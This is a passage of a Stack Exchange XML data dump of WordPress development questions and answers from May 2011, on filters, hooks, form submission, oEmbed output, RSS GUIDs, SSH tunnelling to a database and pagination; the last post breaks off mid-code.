  <row Id="17447" PostTypeId="2" ParentId="17434" CreationDate="2011-05-17T07:36:21.400" Score="1" ViewCount="" Body="&lt;p&gt;Obviously you cannot put a select tag inside a A anchor. What happens is related to event bubbling: Firefox takes the A anchor click into account, not the select control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change your html to: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;li id=&quot;wp-admin-bar-abstractambienceantisocialapertureapzauldbackstagebig-easybiznizzbloggingstreamboastbold-newsbusy-beecaffeinatedcanvascanvas-buddypress-betachapterscinchcity-guidecodacoffee-breakcontinuumcrispcush&quot; class=&quot;&quot;&amp;gt;&#xA;&#xA;                            &amp;lt;select name=&quot;themeswitcher&quot; onchange=&quot;location.href=this.options[this.selectedIndex].value;&quot; style=&quot;color: #000; text-shadow: none;&quot;&amp;gt;&#xA;                                    &amp;lt;option value=&quot;http://themes.fusionized.com?wptheme=Abstract&quot; style=&quot;color: #000; text-shadow: none;&quot;&amp;gt;Abstract&amp;lt;/option&amp;gt;&#xA;                                    &amp;lt;option value=&quot;http://themes.fusionized.com?wptheme=Ambience&quot; style=&quot;color: #000; text-shadow: none;&quot;&amp;gt;Ambience&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;/select&amp;gt;&#xA;&#xA;            &amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it should work cross-platform.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2011-05-17T07:36:21.400" CommentCount="2" />
  <row Id="17448" PostTypeId="2" ParentId="17443" CreationDate="2011-05-17T07:43:42.993" Score="1" ViewCount="" Body="&lt;p&gt;Just like Martin said, Wordpress codex uses &lt;a href=&quot;http://www.mediawiki.org/wiki/MediaWiki&quot; rel=&quot;nofollow&quot;&gt;MediaWiki&lt;/a&gt;&#xA;but i'm posting a two plugins that will let you set up a wiki within WordPress sites:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-wiki-plugin/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Wiki lite&lt;/strong&gt;&lt;/a&gt; - from the guys at wpmudev.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-wiki/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress Wiki&lt;/strong&gt;&lt;/a&gt; - from the guys at Instinct.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-17T07:43:42.993" />
  <row Id="17449" PostTypeId="1" CreationDate="2011-05-17T07:54:31.923" Score="0" ViewCount="29" Body="&lt;p&gt;I'm trying to disable a few plugins when my mobile theme is loaded. I read somewhere about using this particular function in my mobile theme functions.php file to remove scripts and css.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Disable plugins&#xA;add_action( 'wp_print_scripts', 'my_deregister_javascript', 100 );&#xA;&#xA;function my_deregister_javascript() {&#xA;    wp_deregister_script( 'smp_common','smp_cookie','smp_colorbox','smp_meerkat','jquery','query-ui-sortable' );&#xA;}&#xA;//Deregister styles&#xA;add_action( 'wp_print_styles', 'my_deregister_styles', 100 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Going by the above, i've been able to remove a few scripts, but unable to remove the 'share post' plugin as wp_enqueue is not mentioned in the script. Is there an alternative to disable this plugin?&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-05-17T07:54:31.923" Title="Disabling plugin but wpenqueue is not available" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;mobile&gt;" />
  <row Id="17451" PostTypeId="2" ParentId="17435" CreationDate="2011-05-17T08:05:14.770" Score="2" ViewCount="" Body="&lt;p&gt;if you have several shortcodes in one line, make sure to have one space character inbetween them.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-17T08:05:14.770" CommentCount="2" />
  <row Id="17452" PostTypeId="1" AcceptedAnswerId="17453" CreationDate="2011-05-17T08:27:14.060" Score="2" ViewCount="90" Body="&lt;p&gt;can anyone help me with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to print the slug of my custom taxonomy, can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following kind of works but it just shows the name, rather than the slug which i need for a class purpose..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $terms = get_the_terms( $post-&amp;gt;ID , 'area' ); foreach( $terms as $term ) {print $term-&amp;gt;name; unset($term);}?&amp;gt;     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any way of just getting the slug for my custom taxonomy 'area' ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any help :)&lt;/p&gt;&#xA;" OwnerUserId="4630" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-17T08:33:50.253" LastActivityDate="2011-05-17T08:49:19.533" Title="Show Custom Taxonomy Slug(s)?" Tags="&lt;customization&gt;&lt;taxonomy&gt;" AnswerCount="1" />
  <row Id="17453" PostTypeId="2" ParentId="17452" CreationDate="2011-05-17T08:49:19.533" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$term-&amp;gt;slug&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is an example return of $term:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; stdClass Object (&#xA;                  [term_id] =&amp;gt; 31&#xA;                  [name] =&amp;gt; Architectural Items / Salvage&#xA;                  [slug] =&amp;gt; architectural-items-salvage&#xA;                  [term_group] =&amp;gt; 0&#xA;                  [term_taxonomy_id] =&amp;gt; 31&#xA;                  [taxonomy] =&amp;gt; dcategory&#xA;                  [description] =&amp;gt;&#xA;                  [parent] =&amp;gt; 5&#xA;                  [count] =&amp;gt; 10&#xA;                  [object_id] =&amp;gt; 197&#xA;                 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't know what's in &lt;code&gt;$term&lt;/code&gt; or any other variable then &lt;a href=&quot;http://php.net/manual/en/function.print-r.php&quot; rel=&quot;nofollow&quot;&gt;print_r()&lt;/a&gt; and &lt;a href=&quot;http://php.net/manual/en/function.var-dump.php&quot; rel=&quot;nofollow&quot;&gt;var_dump()&lt;/a&gt; are your friend.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-17T08:49:19.533" CommentCount="1" />
  <row Id="17454" PostTypeId="1" CreationDate="2011-05-17T09:15:55.120" Score="1" ViewCount="177" Body="&lt;p&gt;&lt;strong&gt;I know that it's impossible to have the same custom post type slug as a page.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I thought it might be resolved in this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'rewrite' =&amp;gt; array('slug' =&amp;gt; 'my-category/!#')&lt;/code&gt; for register_post_type&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I get &quot;Page not found&quot; every time I visit /my-category/!#/title-1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you understand, I also have a page named &quot;/my-category&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it somehow possible to resolve this conflict?&lt;/p&gt;&#xA;" OwnerUserId="3216" LastActivityDate="2011-06-16T17:36:01.777" Title="How do I fix permalinks for custom post types that has the same slug as a page?" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;page&gt;&lt;slug&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" />
  <row Id="17455" PostTypeId="1" AcceptedAnswerId="17929" CreationDate="2011-05-17T09:27:57.040" Score="1" ViewCount="96" Body="&lt;p&gt;I've been strugling with the following issue for over a week now so please excuse the long description.&#xA;I want it to be as accurate and clear as possible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the &quot;simplr registration form&quot; plugin to register new users.&#xA;I need to add to the form an &quot;address&quot; field for the users to fill, and when the submit button is clicked the address should be sent to google maps API and recieve back the latitude and longitude which should then be saved in wpdb together with the rest of the user's data.&#xA;To achieve this I've added the following to the php function which builds the html form:&lt;br&gt;&#xA;- address input field&lt;br&gt;&#xA;- 2 hidden fields for the lat&amp;amp;long&lt;br&gt;&#xA;- jquery function that responds to the submit button and is supposed to do its thing after the button's clicked but before the form is actually submitted and handled by the plugin's php function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since using Google Maps API is asynchronous to get the job done I need to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Write a function that responds to the submit click.&lt;br&gt;&#xA;That function should prevent the form from being submitted and call another function which does the google maps stuff and after it's finished submits the form.&lt;br&gt;&#xA;The problem lies with the second submit. It just doesn't happen.&lt;br&gt;&#xA;I have tried different ways (with jquery):&lt;br&gt;&#xA;- a submit function that calls itself with the use of a flag that tells the first iteration not to submit and the second one to submit. The code works fine until the second iteration submit which simply doesn't work.&lt;br&gt;&#xA;- a submit function that calls &quot;this.submit()&quot;. Again, &quot;this.submit()&quot; doesn't cause the form to submit.&lt;br&gt;&#xA;- a click function that should respond to the submit being clicked, do the google stuff and then call the submit function. Here even the click function doesn't fire at all.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This is the button's definition:&#xA;$form .=  apply_filters('simplr-reg-submit', '&amp;lt;input type=&quot;submit&quot; name=&quot;submit-reg&quot; id=&quot;submit-reg&quot; value=&quot;Register&quot; class=&quot;submit button&quot;&amp;gt;');&#xA;&#xA;// This is the php code that starts handling the submitted form &#xA;if(isset($_POST['submit-reg'])) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's an example for one of my attempts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function codeAddress(callback)&#xA;{&#xA;    // do the google stuff&#xA;    // when finished submit the form&#xA;    $('#simplr-reg').get(0).submit();&#xA;&#xA;    // it's all being done except for the submit part&#xA;}&#xA;&#xA;$('#simplr-reg').submit(function(event)&#xA;{&#xA;    codeAddress(function(success){}); //callback from googlemaps&#xA;    event.preventDefault();&#xA;}&#xA;&#xA;// Here's a simplified example:&#xA;$('#simplr-reg').submit(function(event)&#xA;{&#xA;    this.submit(); //doesn't cause the form to submit&#xA;    event.preventDefault();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I don't use event.preventDefault() and submit in the first iteration it submits fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried solving this with the help of the guys on stackoverflow but no one could find what's wrong so I'm guessing it's got something to do with WordPress or the plugin.&lt;/p&gt;&#xA;" OwnerUserId="5171" LastActivityDate="2011-05-22T12:05:08.930" Title="Form doesn't submit on second submit call" Tags="&lt;plugins&gt;&lt;forms&gt;&lt;registration&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="17457" PostTypeId="1" AcceptedAnswerId="17578" CreationDate="2011-05-17T10:30:55.153" Score="1" ViewCount="204" Body="&lt;p&gt;I'm adding a custom profile field to users of a specific role, like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_custom_profile_fields( $fields ) {&#xA;&#xA;    // get current user ID&#xA;    $user = new WP_User( $_GET['user_id'] );&#xA;&#xA;    // get current user role&#xA;    if ( !empty( $user-&amp;gt;roles ) &amp;amp;&amp;amp; is_array( $user-&amp;gt;roles ) ) {&#xA;        foreach ( $user-&amp;gt;roles as $role ) {&#xA;&#xA;            // filter roles&#xA;            if ($role == &quot;paying_member&quot;){&#xA;               $fields['paypal_account'] = 'Paypal account';        &#xA;            }&#xA;         }&#xA;     }&#xA;&#xA;    return $fields;&#xA;}&#xA;add_filter('user_contactmethods','add_custom_profile_fields',10,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is, the field's value doesn't get saved. When I login as admin an I edit a user's profile. It somehow has to do with the fact that I'm filtering by user role, because when I remove that part, the values get saved perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT : I think maybe the whole method is wrong, I'm going to try &lt;a href=&quot;http://justintadlock.com/archives/2009/09/10/adding-and-using-custom-user-profile-fields&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-05-18T11:57:20.890" LastActivityDate="2011-05-19T18:16:37.447" Title="Saving custom profile fields" Tags="&lt;custom-field&gt;&lt;filters&gt;&lt;user-roles&gt;&lt;profiles&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="17458" PostTypeId="2" ParentId="17346" CreationDate="2011-05-17T11:01:56.420" Score="0" ViewCount="" Body="&lt;p&gt;wrap the code for the 'older posts' link in a div with a distinct css class;&#xA;or check if this is already done; and style it in the stylesheet of your theme.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-17T11:01:56.420" />
  <row Id="17459" PostTypeId="2" ParentId="17455" CreationDate="2011-05-17T11:04:39.497" Score="0" ViewCount="" Body="&lt;p&gt;I feel this question doesn't belong here but never the less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK Ash try your logic like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;var wasGoogleFetchSuccess = 0;&#xA;&#xA;$('#simplr-reg').submit(function() {&#xA;&#xA;    if(wasGoogleFetchSuccess == 1) {&#xA;        return true; // I can now submit form as normal&#xA;    } else {&#xA;        goDoGoogleMapAddressSearch();&#xA;        return false; // dont submit form this time round&#xA;    }&#xA;&#xA;});&#xA;&#xA;function goDoGoogleMapAddressSearch() {&#xA;    //Do google map search&#xA;    //On success or completion do the following:&#xA;    $(&quot;blah blah blah&quot;).success(function() { // Just an example&#xA;        wasGoogleFetchSuccess = 1;&#xA;        $('#simplr-reg').submit();&#xA;    });&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-17T11:04:39.497" CommentCount="4" />
  <row Id="17460" PostTypeId="2" ParentId="16950" CreationDate="2011-05-17T11:28:57.687" Score="0" ViewCount="" Body="&lt;p&gt;So, this is what I ended up with, after converting the slugs of the imported content, this is hooked into sanitize_links. The last 2 rules are to keep compatibility with the Movable Type permalink scheme being used (and it deals with more than just hyphens)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure it's not the most efficient, but it might help someone. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function convert_permalinks( $old_slug ){&#xA;&#xA;global $post;&#xA;&#xA;if (!get_post_type() == &quot;post&quot;) {&#xA;    return $old_slug;&#xA;}&#xA;&#xA;# replace hyphens with underscores&#xA;# replace apostrophes with spaces&#xA;#if last char is an underscore, remove it.&#xA;$search_values = array(&quot;-&quot;, &quot;–&quot;,&quot;‘&quot;,&quot;'&quot;,&quot;’&quot;,&quot;“&quot;,&quot;”&quot;);&#xA;$replace_values = array(&quot;_&quot;,&quot;&quot;);&#xA;&#xA;// if there are no hyphens then skip&#xA;if (! preg_match('/-/',$old_slug))&#xA;    return $old_slug;&#xA;&#xA;&#xA;$new_slug = str_replace( $search_values, $replace_values, urldecode($old_slug));&#xA;&#xA;if (strlen($new_slug) &amp;gt; 30)&#xA;    $new_slug = trim(substr($new_slug,0,30));&#xA;&#xA;if ($new_slug[strlen($new_slug)-1] == &quot;_&quot;)&#xA;    $new_slug = substr($old_slug,0,strlen($new_slug)-1);&#xA;&#xA;return $new_slug;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-17T11:28:57.687" />
  <row Id="17461" PostTypeId="1" AcceptedAnswerId="17470" CreationDate="2011-05-17T12:24:51.547" Score="1" ViewCount="74" Body="&lt;p&gt;I am trying to add oEmbed DeviantArt integration to a custom theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that first step is quite easy, I added &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_oembed_add_provider( 'http://*.deviantart.com/#/d*', 'http://backend.deviantart.com/oembed' );   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to theme's &lt;em&gt;functions.php&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I would like to change the default HTML output to add more information, available in DeviantArt JSON response (&lt;a href=&quot;http://dt.deviantart.com/blog/35616831/&quot; rel=&quot;nofollow&quot;&gt;DeviantART reference&lt;/a&gt;), like author_name, author_url, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have studied well the WP code that manage the output is inside function &lt;em&gt;data2html&lt;/em&gt; in &lt;em&gt;class-oembed.php&lt;/em&gt;, but I don't like change the code here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add a function to my theme, to achieve the desired result?&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2011-05-17T15:42:03.080" Title="How to modify the HTML formatting of an oEmbed link?" Tags="&lt;oembed&gt;" AnswerCount="1" />
  <row Id="17462" PostTypeId="1" AcceptedAnswerId="17465" CreationDate="2011-05-17T12:31:44.523" Score="0" ViewCount="58" Body="&lt;p&gt;I have in the following code in the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php header_image(); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I want to change this image according to the language selected (through GET parameter lang).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, how to change this function to look for different images according to the received GET parameter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change this code on header.php to a fixed image path, so I could put an if and choose between the images I want. &lt;/li&gt;&#xA;&lt;li&gt;Replace the result of the function get_header_image() and use it instead on header.php according to the received parameter, sort of replacing the string suffix .png to _en.png or .png to _es.png.&lt;/li&gt;&#xA;&lt;li&gt;Change the header_image() function to behave the way I want.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All these ways look ugly to me. Are there better ways?&lt;/p&gt;&#xA;" OwnerUserId="5417" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-17T13:03:38.533" LastActivityDate="2011-06-06T18:25:52.313" Title="How to internationalize header image?" Tags="&lt;php&gt;&lt;images&gt;&lt;filters&gt;&lt;headers&gt;&lt;get-theme-mod&gt;" AnswerCount="2" />
  <row Id="17463" PostTypeId="1" AcceptedAnswerId="17472" CreationDate="2011-05-17T12:37:57.840" Score="0" ViewCount="62" Body="&lt;p&gt;So i got the RSS feed which output some custom post types, but the GUID looks bad to me, it's like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?post_type=mycustompost&amp;amp;p=124&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason i want to change this is that I don't need people to know it's Wordpress or to see my custom post type name (this is very important in this project)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a filter or hook to rewrite this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5200" LastActivityDate="2011-05-17T13:29:24.897" Title="Change custom post type GUID in RSS" Tags="&lt;filters&gt;&lt;urls&gt;&lt;hooks&gt;&lt;rss&gt;&lt;guid&gt;" AnswerCount="2" />
  <row Id="17464" PostTypeId="1" CreationDate="2011-05-17T12:51:38.457" Score="0" ViewCount="36" Body="&lt;p&gt;I'm using this: &lt;code&gt;&amp;lt;?php get_sidebar(); ?&amp;gt;&lt;/code&gt; to grab the sidebar, but i have no sidebar.php in my theme. How can i run a str_replace function over the code if i cannot see the relevant sidebar code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2496" LastActivityDate="2011-05-17T12:51:38.457" Title="Run str_replace on sidebar with no sidebar.php" Tags="&lt;sidebar&gt;" CommentCount="3" />
  <row Id="17465" PostTypeId="2" ParentId="17462" CreationDate="2011-05-17T13:01:37.757" Score="1" ViewCount="" Body="&lt;p&gt;Filter the &lt;code&gt;get_theme_mod()&lt;/code&gt; function (&lt;code&gt;wp-includes/theme.php&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'theme_mod_header_image', 'localized_header' );&#xA;&#xA;function localized_header( $img )&#xA;{&#xA;    // Do something awesome with the $img path.&#xA;    return $img;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-17T13:01:37.757" />
  <row Id="17466" PostTypeId="1" CreationDate="2011-05-17T00:29:27.220" Score="-1" ViewCount="86" Body="&lt;p&gt;Problem: Configure wordpress to use a remote mysql database only available using and SSH tunneling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stage:&#xA;I have a wordpress instance over an apache server on machine (called WP_server). WP_server, does not have Mysql server and has blocked port except 80 (http) and 22 (ssh).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other place is another machine (Mysql_server) which has a MySQL instance. This server can provide a database to WP_server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two server have ssh access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I configure wordpress to use ssh tunneling?&lt;/p&gt;&#xA;" LastActivityDate="2011-05-17T13:07:51.523" Title="Configure Wordpress to connect to Mysql DB using SSH tunneling" Tags="&lt;mysql&gt;&lt;ssh&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="17467" PostTypeId="2" ParentId="17466" CreationDate="2011-05-17T03:09:43.397" Score="0" ViewCount="" Body="&lt;p&gt;You can use a custom DB handler in wordpress. Extend the wpdb class located in &lt;code&gt;wp-includes/wpdb.php&lt;/code&gt; file, and modify things to fit your needs. Be sure to create an instance called &lt;code&gt;$wpdb&lt;/code&gt; at the very end of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, drop the file in &lt;code&gt;wp-content/db.php&lt;/code&gt;. It will be used in place of the wpdb class.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-05-17T03:09:43.397" />
  <row Id="17468" PostTypeId="2" ParentId="17466" CreationDate="2011-05-17T13:07:51.523" Score="1" ViewCount="" Body="&lt;p&gt;You should create a &lt;a href=&quot;http://en.wikipedia.org/wiki/Tunneling_protocol&quot; rel=&quot;nofollow&quot;&gt;ssh tunnel&lt;/a&gt; between the 2 serves. Then you can connect from the WP with only the mysql server ip.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ssh -f user@personal-server.com -L 2000:personal-server.com:25 -N&#xA;&#xA;The -f tells ssh to go into the background just before it executes the command.&#xA;This is followed by the username and server you are logging into.&#xA;The -L 2000:personal-server.com:25 is in the form of -L local-port:host:remote-port.&#xA;Finally the -N instructs OpenSSH to not execute a command on the remote system.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;via &lt;a href=&quot;http://www.revsys.com/writings/quicktips/ssh-tunnel.html&quot; rel=&quot;nofollow&quot;&gt;Revsys&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-17T13:07:51.523" />
  <row Id="17469" PostTypeId="2" ParentId="17463" CreationDate="2011-05-17T13:14:58.070" Score="0" ViewCount="" Body="&lt;p&gt;I didn't get where you see that GUID. But if it's the title link, you can try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_permalink($permalink) {&#xA;    global $wp_query;&#xA;    $permalink = get_permalink( $wp_query-&amp;gt;post-&amp;gt;ID );&#xA;    return $permalink;&#xA;}&#xA;&#xA;add_filter('the_permalink_rss', 'my_permalink');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5223" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-17T13:22:54.887" LastActivityDate="2011-05-17T13:22:54.887" />
  <row Id="17470" PostTypeId="2" ParentId="17461" CreationDate="2011-05-17T13:20:35.933" Score="3" ViewCount="" Body="&lt;p&gt;&lt;code&gt;WP_oEmbed::data2html()&lt;/code&gt; has a filter, &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/class-oembed.php#L262&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;oembed_dataparse&lt;/code&gt;&lt;/a&gt;. You can use this to change the output, based on the extra data which is passed as the second parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'oembed_dataparse', 'wpse17461_oembed_dataparse', 10, 3 );&#xA;function wpse17461_oembed_dataparse( $html, $data, $url )&#xA;{&#xA;    if ( FALSE !== strpos( $url, 'deviantart.com' ) ) {&#xA;        return $html . '&amp;lt;br/&amp;gt;Author: ' . $data-&amp;gt;author_name;&#xA;    }&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-17T15:42:03.080" LastActivityDate="2011-05-17T15:42:03.080" CommentCount="2" />
  <row Id="17471" PostTypeId="2" ParentId="17457" CreationDate="2011-05-17T13:21:29.923" Score="2" ViewCount="" Body="&lt;p&gt;You can skip the looping over roles and use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/user_can&quot; rel=&quot;nofollow&quot;&gt;user_can&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function takes either a capability &lt;em&gt;or a role&lt;/em&gt; as param.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (user_can($user-&amp;gt;ID, &quot;paying_member&quot;)) { &#xA;    $fields['paypal_account'] = 'Paypal account';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Might also be worth checking into &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/current_user_can&quot; rel=&quot;nofollow&quot;&gt;current_user_can&lt;/a&gt; to skip the user lookup.&lt;/p&gt;&#xA;" OwnerUserId="3837" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-05-18T13:34:45.367" LastActivityDate="2011-05-18T13:34:45.367" CommentCount="1" />
  <row Id="17472" PostTypeId="2" ParentId="17463" CreationDate="2011-05-17T13:29:24.897" Score="1" ViewCount="" Body="&lt;p&gt;The feed template files call &lt;code&gt;the_guid()&lt;/code&gt;, &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/post-template.php#L122&quot; rel=&quot;nofollow&quot;&gt;which calls &lt;code&gt;get_the_guid()&lt;/code&gt;&lt;/a&gt;, which has a filter named (surprisingly) &lt;code&gt;get_the_guid&lt;/code&gt;. You can hook into this filter to change the output. The filter only gets the current GUID, not the post ID, so look this up in the global variable if you need it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'get_the_guid', 'wpse17463_get_the_guid' );&#xA;function wpse17463_get_the_guid( $guid )&#xA;{&#xA;    return 'http://example.com/guid/' . sha1( $guid );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;http://core.trac.wordpress.org/ticket/6492&quot; rel=&quot;nofollow&quot;&gt;this Trac ticket&lt;/a&gt; which proposes to change the current GUID format to a more unique hash.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-17T13:29:24.897" CommentCount="1" />
  <row Id="17473" PostTypeId="1" CreationDate="2011-05-17T13:36:01.677" Score="0" ViewCount="101" Body="&lt;p&gt;i have created a custom author's page that list the title of their posts. but the problem is i can't get the pagination to work if it's beyond the set post per page value. i have used get_posts() to it's custom loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;                    $ppp = 5; //set my custom number of post to appear&#xA;                    $uid = $curauth-&amp;gt;ID;&#xA;                    $args = array(&#xA;                                    'numberposts' =&amp;gt; $ppp,&#xA;                                    'author' =&amp;gt; $uid&#xA;&#xA;                                );&#xA;                    $authorposts = get_posts($args);&#xA;                    //print_r($authorposts);&#xA;                    if ( count( $authorposts ) &amp;gt; 0 ) {               &#xA;&#xA;                        foreach ( $authorposts as $post ):  setup_postdata($post)            ?&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&#xA;&#xA;&#xA;                                &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot; class=&quot;authorpostlink&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;?php endforeach;  ?&amp;gt;&#xA;                        &amp;lt;div class=&quot;post-nav&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;previous&quot;&amp;gt;&amp;lt;?php previous_posts_link('&amp;amp;lsaquo; Previous Page') 